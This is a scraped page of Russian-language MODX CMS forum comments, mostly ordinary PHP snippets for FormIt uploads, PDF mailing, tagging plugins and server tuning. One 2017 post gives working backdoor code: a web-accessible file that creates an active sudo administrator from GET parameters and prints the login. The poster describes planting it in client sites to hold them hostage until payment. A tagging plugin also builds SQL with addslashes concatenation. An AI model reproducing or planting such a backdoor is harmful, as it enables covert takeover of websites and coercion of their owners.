Андрей · 05 января 2019, 16:27 ох, давно это было… я может что-то еще там менял. вот рабочий итог [[!FormIt? &pdfTpl=`tpl.PDF1` &hooks=`formit2file, SendFilePDF, redirect` &author=`www.ru` &title=`Заявка` &emailTpl=`sentEmailTpl` &validate=`contact_email:required` &store=`1` &redirectTo=`108` ]]formit2file <?php // initialize output; $output = true; $counter = 1; // valid extensions $ext_array = array('jpg', 'png', 'gif', 'JPG', 'zip', 'rar', '7z', 'rar5'); // create unique path for this form submission $uploadpath = 'assets/pdf/'; // get full path to unique folder $target_path = $modx->config['base_path'] . $uploadpath; // get uploaded file names: $submittedfiles = array_keys($_FILES); // loop through files foreach ($submittedfiles as $sf) { // Get Filename and make sure its good. $filename = basename( $_FILES[$sf]['name'] ); // Get file's extension $ext = pathinfo($filename, PATHINFO_EXTENSION); $ext = mb_strtolower($ext); // case insensitive // is the file name empty (no file uploaded) if($filename != '') { // is this the right type of file? if(in_array($ext, $ext_array)) { // clean up file name and make unique $filename = $counter . '.' . $ext; $filename = str_replace(' ', '_', $filename); // spaces to underscores $filename = date("G-i-s_") . $filename; // add date & time // full path to new file $myTarget = $target_path . $filename; // create directory to move file into if it doesn't exist mkdir($target_path, 0755, true); // is the file moved to the proper folder successfully? if(move_uploaded_file($_FILES[$sf]['tmp_name'], $myTarget)) { // set a new placeholder with the new full path (if you need it in subsequent hooks) $myFile = $uploadpath . $filename; $hook->setValue($sf,$myFile); // set the permissions on the file if (!chmod($myTarget, 0644)) { /*some debug function*/ } } else { // File not uploaded $errorMsg = 'There was a problem uploading the file.'; $hook->addError($sf, $errorMsg); $output = false; // generate submission error } } else { // File type not allowed $errorMsg = 'Type of file not allowed.'; $hook->addError($sf, $errorMsg); $output = false; // generate submission error } // if no file, don't error, but return blank } else { $hook->setValue($sf, ''); } $counter = $counter + 1; } return $output;SendFilePDF <?php $fields = $hook->getValues(); //поля из формы $NF = $fields['filesToUpload'];//получаем имя и путь загруженного файла $fields['filesToUpload'] = str_replace('assets/pdf/','',$fields['filesToUpload']); $mail_z = $fields['contact_email']; $message = $modx->getChunk('sentEmailTpl', $fields); //формируем PDF $pdo = $modx->getService('pdoFetch'); $pdfTpl = $modx->getOption('pdfTpl', $formit->config, '', true); $content = $pdo->getChunk($pdfTpl, $fields); $config = array(); $config = array_merge($config, $fields, array( 'content' => $content, 'author' => $author, 'title' => $title, )); // формируем ссылку на PDF $result = $modx->runSnippet('PdfCreate', $config); $modx->getService('mail', 'mail.modPHPMailer'); $modx->mail->set(modMail::MAIL_BODY, $message); $modx->mail->set(modMail::MAIL_FROM, $modx->getOption('emailsender')); $modx->mail->set(modMail::MAIL_FROM_NAME, $modx->getOption('site_name')); $modx->mail->set(modMail::MAIL_SUBJECT, 'Поступила заявка'); $modx->mail->address('to', 'xxx@gmail.com'); $modx->mail->address('to', 'xxx@mail.ru'); $modx->mail->address('to', $mail_z); $modx->mail->address('reply-to', $modx->getOption('emailsender')); $modx->mail->attach($modx->getOption('base_path').'assets/pdf/'.$result.'.pdf'); $modx->mail->attach($modx->getOption('base_path').$NF); $modx->mail->setHTML(true); if (!$modx->mail->send()) { $modx->log(modX::LOG_LEVEL_ERROR,'An error occurred while trying to send the email: '.$modx->mail->mailer->ErrorInfo); } $modx->mail->reset(); return true;PdfCreate <?php $date = date('Y-m-d_H-i-s', time()) . '_' .rand(1, 100); $corePath = $modx->getOption('pdfresource.core_path', null, $modx->getOption('core_path') . 'components/pdfresource/'); $pdfresource = $modx->getService('pdfresource', 'PDFResource', $corePath . 'model/pdfresource/', array( 'core_path' => $corePath )); $content = $modx->getOption('content', $scriptProperties, '', true); $title = $modx->getOption('title', $scriptProperties, '', true); $author = $modx->getOption('author', $scriptProperties, '', true); $aliasPath = MODX_ASSETS_PATH . 'pdf/'; $site_url = $modx->getOption('site_url'); // настройки PDFResource (подробнее почитать здесь: http://jako.github.io/PDFResource/usage/) $pdfresource->initPDF(array( 'mode' => 'utf-8', 'format' => 'A4', 'defaultFontSize' => intval(13), 'defaultFont' => '', 'mgl' => intval(30), // margin left 'mgr' => intval(10), // margin right 'mgt' => intval(30), // margin top 'mgb' => intval(10), // margin bottom 'mgh' => intval(10), // margin header 'mgf' => intval(10), // margin footer 'orientation' => 'P', // ориентация PDF 'customFonts' => '[]', )); $pdfresource->pdf->SetTitle($title); $pdfresource->pdf->SetAuthor($author); $pdfresource->pdf->SetCreator($modx->getOption('site_url')); $pdfresource->pdf->WriteHTML($content, 2); $file_name = $date; $pdfresource->pdf->Output($aliasPath . $file_name . '.pdf', 'F'); return $file_name; Вопросы / Как отправить файл на указанный мейл через formit? 21 0 3
Максим Кузнецов · 24 января 2017, 00:43 Аналогично, бэкдор + сайт лежит на своем хостинге до оплаты оставшейся части. Вот код: <?php define('MODX_API_MODE', true); //количество dirname = глубина документа относительно корня require dirname(dirname(dirname(dirname(__FILE__)))) . '/index.php'; $user = empty($_GET['user']) ? 'user'. rand(99,9999) : $_GET['user']; $pass = empty($_GET['pass']) ? rand(10000000,99999999) : $_GET['pass']; $u = $modx->newObject('modUser'); $u->fromArray(array( 'username' => $user, 'password' => $pass, 'active' => 1, 'primary_group' => 1, )); $u->joinGroup('1', '0'); $u->setSudo(1); $p = $modx->newObject('modUserProfile'); $p->fromArray(array( 'fullname' => $user, 'email' => $user.'@yoba.ru', )); $u->addOne($p); $u->save(); if (!empty($u->username)) { print '<p><b>user:</b> '. $user .'</p><p><b>pass:</b> '. $pass .'</p>'; } — при запросе к документу генерирует и выводит логин-пароль для свежесозданного sudo-пользователя. (соответственно, файл должен быть доступен извне) По поводу взлома можешь обратиться к agel_nash, наверное. Вопросы / Можно ли взломать сайт на MODX? 17 +4 6
Володя · 05 августа 2016, 22:35 можно добавить так создать плагин на pdoToolsOnFenomInit, в нем добавить модификатор detector <?php switch ($modx->event->name) { case 'pdoToolsOnFenomInit': if (!$fenom = $modx->getOption('fenom', $scriptProperties)) { return; } if (!$MobileDetect = $modx->getService('mobiledetect', 'MobileDetect', MODX_CORE_PATH . 'components/mobiledetect/')) { return; } $key = $MobileDetect->config['force_browser_variable']; $device = !empty($_GET) && array_key_exists($key, $_GET) ? $modx->stripTags($_GET[$key]) : ''; if (empty($device)) { $device = $MobileDetect->getSettings(); } if (empty($device)) { $detector = $MobileDetect->getDetector(); $device = ($detector->isMobile() ? ($detector->isTablet() ? 'tablet' : 'mobile') : 'standard'); $MobileDetect->saveSettings($device); } $fenom->addModifier("detector", function ($value) use ($device) { return $value == $device; }); break; } и теперь в любом месте можно делать так {if 'mobile'|detector} mobile {/if} {if 'tablet'|detector} tablet {/if} {if 'standard'|detector} standard {/if} Вопросы / Fenom + MobileDetect + NGINX + PHP5-FPM = 502 bad gateway 9 +5 21
Николай Загумённов · 28 мая 2016, 22:56 Я использовал компонент tvSuperSelect. Чтобы с фронта добавлять тэги добавил плагин, который заполняет ТВ поле и таблицу компонента значениями: <?php // tvssTagsSave $tvss = $modx->getService('tvsuperselect', 'tvsuperselect', $modx->getOption('core_path').'components/tvsuperselect/model/tvsuperselect/'); if (!($tvss instanceof tvSuperSelect)) { return ''; } switch ($modx->event->name) { case 'OnDocFormSave': if (is_object($resource) && is_array($resource->_fields)) { $data = $resource->_fields; $resource_id = $data['id']; // $modx->log(1, print_r($data, 1)); $flds = $tv_values = array(); foreach ($data as $key => $value) { if ($key == 'tags') { $tv_id = 1; $array = array_diff($value, array('')); if (!empty($array)) { $flds[] = array( 'resource_id' => $resource_id, 'tv_id' => $tv_id, 'data' => $array, ); $tv_values[$tv_id] = $modx->toJSON($array); } } } // пишем в таблицу пакета if (!empty($flds)) { // $modx->log(1, print_r($flds, 1)); $table = $modx->getTableName('tvssOption'); foreach ($flds as $fld) { $sql = 'DELETE FROM '.$table.' WHERE `resource_id` = '.$fld['resource_id'].' AND `tv_id` = '.$fld['tv_id']; $stmt = $modx->prepare($sql); $stmt->execute(); $stmt->closeCursor(); $values = array(); foreach ($fld['data'] as $value) { if (!empty($value)) { $values[] = '('.$fld['resource_id'].',"'.$fld['tv_id'].'","'.addslashes($value).'")'; } } if (!empty($values)) { $sql = 'INSERT INTO '.$table.' (`resource_id`,`tv_id`,`value`) VALUES '.implode(',', $values); $stmt = $modx->prepare($sql); $stmt->execute(); $stmt->closeCursor(); } } } // пишем в таблицу modTemplateVarResource if (!empty($tv_values)) { //$modx->log(1, print_r($tv_values, 1)); foreach ($tv_values as $tv_id => $values) { if (!$tv_obj = $modx->getObject('modTemplateVarResource', array( 'tmplvarid' => $tv_id, 'contentid' => $resource_id, ))) { $tv_obj = $modx->newObject('modTemplateVarResource'); } $tv_obj->fromArray(array( 'tmplvarid' => $tv_id, 'contentid' => $resource_id, 'value' => $values, )); $tv_obj->save(); // $modx->log(1, print_r($tv_obj->toArray(), 1)); unset($tv_obj); } } } break; }Чтобы выводить во фронте поле добавил сниппет: <?php // tvssTagsOptions /* @var pdoFetch $pdoFetch */ $fqn = $modx->getOption('pdoFetch.class', null, 'pdotools.pdofetch', true); $path = $modx->getOption('pdotools_class_path', null, MODX_CORE_PATH.'components/pdotools/model/', true); if ($pdoClass = $modx->loadClass($fqn, $path, false, true)) { $pdoFetch = new $pdoClass($modx, $scriptProperties); } else { return false; } $pdoFetch->addTime('pdoTools loaded'); if (!$modx->addPackage('tvsuperselect', MODX_CORE_PATH.'components/tvsuperselect/model/')) { return false; } $tv = $modx->getOption('tv', $scriptProperties, ''); // TV name or... $tvid = $modx->getOption('tvId', $scriptProperties, ''); // ... TV id $tvInput = $modx->getOption('tvInput', $scriptProperties, ''); // TV input name $res = $modx->getOption('res', $scriptProperties, 0); // Resource id $tpl = $modx->getOption('tpl', $scriptProperties, 'tpl.tvssTagsOptions'); $tv_where = $tv ? array( 'name' => $tv ) : ''; $tv_where = $tv_where ?: ( $tvid? array( 'id' => $tvid ) : '' ); // print_r($tv_where); if( empty($tv_where) ) { return; } if( $tv_obj = $modx->getObject('modTemplateVar', $tv_where) ) { $value = ''; if( $res != 0 && $tv_val_obj = $modx->getObject('modTemplateVarResource', array( 'tmplvarid' => $tv_obj->id, 'contentid' => $res, ))) { $value = $tv_val_obj->value; } $value_arr = $modx->fromJSON($value); // Массив со значениями тэгов конкретного ресурса // Массив, который мы передадим в процессор, там его ловить в $scriptProperties $processorProps = array( 'tv_id' => $tv_obj->id, ); // Массив опций для метода runProcessor $otherProps = array( // Здесь указываем где лежат наши процессоры 'processors_path' => $modx->getOption('core_path') . 'components/tvsuperselect/processors/' ); // Запускаем $response = $modx->runProcessor('mgr/option/getoptions', $processorProps, $otherProps); // И возвращаем ответ от процессора $options_array = $modx->fromJSON($response->response); // Массив со всеми тэгами if (is_array($options_array['results']) || is_object($options_array['results'])) { foreach($options_array['results'] as $v) { $selected = ''; if (is_array($value_arr) || is_object($value_arr)) { foreach ($value_arr as $key => $val) { if ($v['value'] == $val) { $selected = "selected=\"selected\""; } } } $options .= "<option ". $selected ." value=\"". $v['value'] ."\">"; $options .= $v['value']; $options .= "</option>"; $selected = ""; } } $return = $modx->getChunk($tpl, array( 'tv_id' => $tv_obj->id, 'tv_name' => $tv_obj->name, 'tv_input_name' => $tvInput ?: $tv_obj->name, 'tv_value' => $value, 'res_id' => $res, 'options' => $options )); return $return; } else { return; }Чанк tpl.tvssTagsOptions: <select name="tags[]" multiple="multiple" class="js-tvSuperSelect-tags form-control" id="ticket-tags"> [[+options]] </select>В чанке с формой добавления/редактирования тикетов добавил: <link href="/js/select2-4.0.2/dist/css/select2.min.css" rel="stylesheet" /> <script src="/js/select2-4.0.2/dist/js/select2.min.js"></script> <script type="text/javascript"> $(document).ready(function(){ $(".js-tvSuperSelect-tags").select2({ tags: true }); }); </script> <div class="form-group"> <label for="ticket-sections">Тэги</label> [[!tvssTagsOptions? &tv=`tags` &res=`0`]] // В чанке редактирования [[!tvssTagsOptions? &tv=`tags` &res=`[[+id]]`]] <span class="error"></span> </div>Прикрутил к полю тэгов Select2, чтобы тэги было удобно заполнять и все. Может кому пригодится =) Краудфандинг / Тэги к тикетам 49 +2 7
Boris · 24 апреля 2016, 03:51 Та же история и на Ubunru 16.04 (версия MySql сервера: 5.7.11-0ubuntu6) по дефолту занимал 880 Мб памяти!!! Помогло это (стал занимать всего 140 Мб) skip-name-resolve skip-federatedНо хотел бы попутно у профи Linux узнать, что это за зверь BIOSET ??? Интуитивно что-то помнится, что это относится к дисковым операциям А смутил он потому, что в Ubuntu 15.10 этих процессов было всего 3 а после обновления до Ubuntu 16.04 их стало 27!!! Вопросы / MySQL жрёт почти всю память на vps 5 0 1
Илья Уткин · 31 марта 2016, 13:21 Стало интересно, не поленился, потестил и сделал плагинчик. Спасибо за наводку, сам теперь тоже буду пользоваться)) <?php if ($modx->event->name == "OnUserFormPrerender") { $modx->controller->addHtml('<script type="text/javascript"> Ext.ComponentMgr.onAvailable("modx-user-tabs", function (e) { var items = Ext.getCmp("modx-user-tabs").items; // Вкладка -> «тело» вкладки -> колонка // 2 - пропускаем ID и username, 0 - ничего не удаляем items[0].items[0].items[0].items.splice(2, 0, { id: "modx-user-company_name" ,name: "company_name" ,fieldLabel: _("user_company_name") ,xtype: "textfield" ,anchor: "100%" ,maxLength: 255 }); }); </script>'); } Пошаговые инструкции / Как я расширил стандартную таблицу пользователей 17 +4 2
Илья Уткин · 25 марта 2016, 12:20 Я понимаю, что уже есть новая версия с дополнительными сниппетами. Но для истории сохраню код, как вывести тикеты по тегу [[!pdoPage? &element=`getTickets` &parents=`0` &loadModels=`tvsuperselect` &select=`{ "tvTags":"tvTags.value as tag" }` &leftJoin=`{ "tvTags":{"class":"tvssOption", "on":"Ticket.id = tvTags.resource_id"} }` &where=`{ "tvTags.value":"[[!+vp.tag]]" }` &tpl=`tpl.Ticket` &includeContent=`1` &includeTVs=`img,tags` &tvPrefix=`tv.` ]] [[!+page.nav]] Вопросы / Кто пользуется tvSuperSelect 11 +2 2
Fi1osof · 13 февраля 2016, 20:31 Не, запреты или редиректы — это не то, будет свидетельствовать о том, что что-то там не так, не обычная страница. У меня так прописано: location ~ ^/(assets|core|manager|connectors)/{ rewrite .*$ /404.html last; } location ~* config.(core|inc).php { rewrite .*$ /404.html last; }То есть просто подмена, а не какие-либо редиректы. Пошаговые инструкции / Скрываем config.core.php 66 +1 1
Fi1osof · 07 января 2016, 11:57 Если ключ не хотите светить, то однозначно запрос надо слать с вашего сервера на донора. В MODX есть готовый CURL-клиент. Вот код для примера: $client = $modx->getService('rest.modRestCurlClient'); $result = $client->request('https://ya.ru', '/', 'POST', $params = array('foo' => 'foo')); print $result;Можете с этим кодом к консоли поиграться. Вопросы / POST запросы на сторонний API из REVO, как? 7 +12 20
Abu · 27 декабря 2015, 00:13 В копилку полезных плагинов — добавление тегов (опций modx_ms2_product_options) в поисковый индекс. <?php switch ($modx->event->name) { case 'mse2OnBeforeSearchIndex': $key = 'tags'; // имя опции товара $category = 0; // фильтрация по категории $mSearch2->fields[$key] = 1; $q = $modx->newQuery('msProductOption'); $q->innerJoin('msProduct', 'msProduct', 'msProduct.id=msProductOption.product_id'); $q->sortby('msProductOption.value','ASC'); $q->select('DISTINCT(msProductOption.value), msProduct.id'); $q->where(array('msProductOption.key' => $key)); if (!empty($category)) { $ids = $modx->getChildIds($category); $ids[] = $category; $q->innerJoin('msCategory', 'msCategory', 'msCategory.id=msProduct.parent'); $q->where(array('msCategory.id:IN' => $ids)); } if ($q->prepare() && $q->stmt->execute()) { while ($row = $q->stmt->fetch(PDO::FETCH_ASSOC)) { $resource = $modx->getObject('modResource', $row['id']); $resource->set($key, $row['value']); } } break; } Новые дополнения и их версии / [mSearch2] 1.5.2 - произвольные слова в индексе 12 +3 1
[videoGallery] Видео галерея YouTube, Vimeo Невозможно установить пакет с подписью: videogallery-1.4.0-beta Ошибка установки Error в /core/packages/videogallery-1.4.0-beta/modCategory/7fc931a7772edc9752c16e9c41eb5e52.reso...
mxBoard: канбан-доска для команд, людей и ИИ-агентов в MODX 3 Привет, добавил пользователя в группу mxBoard(4), создал токен. Добавляю все в postman пишет: rest: { «success»: false, «message»: «Недействительный токен.», «data...
Релиз miniShop2 ver. 4.4.1 & 4.4.2 Подскажите пожалуйста, может я что-то не знаю или упустил. Но есть ли решение по глюку с radio? Указываешь свое radio c одинаковым name и в результате при переключении получаешь вс...
Плагин EnvBadge: визуальный индикатор окружения в админке MODX3 Расскажите пожалуйста как вы настраиваете сайт на MODX 3 чтобы был dev, prod, stage. Можете описать workflow? Допустим у меня 80% — это магазины, там клиенты, продажи, все онлай...
MaxNotify Обновление компонента 1.3.0-pl (22.07.2026) — добавлено автоматическое получение полей через msOrder->toArray(); — массивы и объекты безопасно пропускаются; — стандартные...
MyFavorites MyFavorites — 3.0.0-beta Первая версия для MODX Revolution 3.x — компонент полностью переписан с нуля (PHP >= 8.4, namespaced-ядро MODX 3, PSR-4, сервис-ориентированная архит...
вот рабочий итог
formit2file
SendFilePDF
PdfCreate
— при запросе к документу генерирует и выводит логин-пароль для свежесозданного sudo-пользователя. (соответственно, файл должен быть доступен извне)
По поводу взлома можешь обратиться к agel_nash, наверное.
создать плагин на pdoToolsOnFenomInit, в нем добавить модификатор detector
и теперь в любом месте можно делать так
Чтобы с фронта добавлять тэги добавил плагин, который заполняет ТВ поле и таблицу компонента значениями:
Чтобы выводить во фронте поле добавил сниппет:
Чанк tpl.tvssTagsOptions:
В чанке с формой добавления/редактирования тикетов добавил:
Прикрутил к полю тэгов Select2, чтобы тэги было удобно заполнять и все.
Может кому пригодится =)
по дефолту занимал 880 Мб памяти!!!
Помогло это (стал занимать всего 140 Мб)
Но хотел бы попутно у профи Linux узнать, что это за зверь BIOSET ???
Интуитивно что-то помнится, что это относится к дисковым операциям
А смутил он потому, что
в Ubuntu 15.10 этих процессов было всего 3
а после обновления до Ubuntu 16.04
их стало 27!!!
Fi1osof·У меня так прописано:
То есть просто подмена, а не какие-либо редиректы.
Fi1osof·Можете с этим кодом к консоли поиграться.